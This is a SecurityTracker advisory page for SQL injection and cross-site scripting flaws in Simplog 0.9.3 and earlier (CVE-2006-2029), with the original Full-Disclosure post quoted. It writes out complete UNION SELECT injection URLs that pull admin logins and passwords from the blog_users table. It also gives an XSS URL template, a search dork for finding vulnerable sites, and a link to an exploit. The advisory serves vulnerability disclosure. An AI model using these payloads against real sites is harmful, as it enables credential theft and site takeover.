SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Simplog Vendors:   simplog.org
Simplog Input Validation Holes in 'preview.php', 'archive.php', and 'comments.php' Permit SQL Injection Attacks
SecurityTracker Alert ID:  1015976
SecurityTracker URL:  http://securitytracker.com/id/1015976
CVE Reference:   CVE-2006-2029   (Links to External Site)
Updated:  Oct 20 2006
Original Entry Date:  Apr 22 2006
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 0.9.3 and prior versions
Description:   A vulnerability was reported in Simplog. A remote user can conduct cross-site scripting attacks. A remote user can inject SQL commands.

The software does not properly validate user-supplied input. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

The 'tid' parameter in 'preview.php' is affected. The 'cid', 'pid', and 'eid' parameters in 'archive.php' are affected. The 'pid' parameter in 'comments.php' is affected.

Some demonstration exploit URLs are provided:

http://[target]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=-1/**/UNION/**/SELECT/**/
concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->

http://[target]/[simplogdir]/archive.php?blogid=1&cid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->

http://[target]/[simplogdir]/archive.php?blogid=1&pid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->

http://[target]/[simplogdir]/archive.php?blogid=1&eid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->

http://[target]/[simplogdir]/comments.php?blogid=1&pid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
with this examples remote attacker can leak speficied admins login
information from database.

The 'imagelist.php' script does not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Simplog software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is provided:

http://[target]/[simplogdir]/imagelist.php?blogid=1&act=add_entry&login=1&imagedir=[XSS]

The vendor was notified on April, 21, 2006.

Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI reported this vulnerability.

The original advisory is available at:

http://www.nukedx.com/?viewdoc=25

A demonstration exploit is available at:

http://www.nukedx.com/?getxpl=25

On October 19, 2006, navairum at gmail.com reported that version 0.9.3.1 is still affected by the 'preview.php' 'tid' parameter SQL injection vulnerability.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Simplog software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can execute SQL commands on the underlying database.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.simplog.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-disclosure] Advisory: Simplog <= 0.93 Multiple Remote


--Security Report--
Advisory: Simplog <= 0.93 Multiple Remote Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 21/04/06 22:13 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: Simplog (http://www.simplog.org/)
Version: 0.93 and prior versions must be affected.
About: Via this methods remote attacker can inject arbitrary SQL queries to 
tid parameter in preview.php,
cid,pid and eid in archive.php and pid in comments.php.As u know rgod was 
published advisory about version 0.92 but he
did not notice this SQL injections. He found other SQL injections on 
archive.php but did not found these vulnerabilities.
Also there is cross site scripting vulnerability in imagelist.php's imagedir 
parameter.
Level: Critical
---
How&Example: 
SQL Injection :
Needs MySQL > 4.0
GET -> http://[victim]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&cid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&pid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&eid=[SQL]
EXAMPLE -> 

http://[victim]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=-1/**/UNION/**/SELECT/**/
concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE -> 

http://[victim]/[simplogdir]/archive.php?blogid=1&cid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE -> 

http://[victim]/[simplogdir]/archive.php?blogid=1&pid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE -> 

http://[victim]/[simplogdir]/archive.php?blogid=1&eid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE -> 

http://[victim]/[simplogdir]/comments.php?blogid=1&pid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
with this examples remote attacker can leak speficied admins login 
information from database.

XSS:
GET -> 

http://[victim]/[simplogdir]/imagelist.php?blogid=1&act=add_entry&login=1&imagedir=[XSS]

---
Timeline:
* 21/04/2006: Vulnerability found.
* 21/04/2006: Contacted with vendor and waiting reply.
---
Exploit:
http://www.nukedx.com/?getxpl=25
---
Dorks: "powered by simplog"
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=25

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC